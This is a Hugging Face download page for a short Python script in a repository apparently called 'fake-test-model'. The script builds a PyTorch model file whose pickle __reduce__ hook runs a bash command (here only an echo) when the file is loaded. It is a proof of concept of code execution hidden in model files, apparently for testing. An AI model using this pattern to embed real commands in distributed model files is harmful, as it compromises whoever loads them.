Download test.py from deloinc22/fake-test-model: direct link, hf CLI and curl.
- Browser
- Download file 358 Bytes
-
https://huggingface.co/deloinc22/fake-test-model/resolve/main/test.py
- Command line
-
hf download hf://deloinc22/fake-test-model/test.py
-
curl -L -o test.py https://huggingface.co/deloinc22/fake-test-model/resolve/main/test.py
358 Bytes
| import torch | |
| import subprocess | |
| class MaliciousModule(torch.nn.Module): | |
| def __init__(self): | |
| super(MaliciousModule, self).__init__() | |
| def forward(self, x): | |
| return x | |
| def __reduce__(self): | |
| return (subprocess.check_call, ('/bin/bash -c "echo Hello from malware!"',)) | |
| model = MaliciousModule() | |
| torch.save(model, 'm_model.pt') |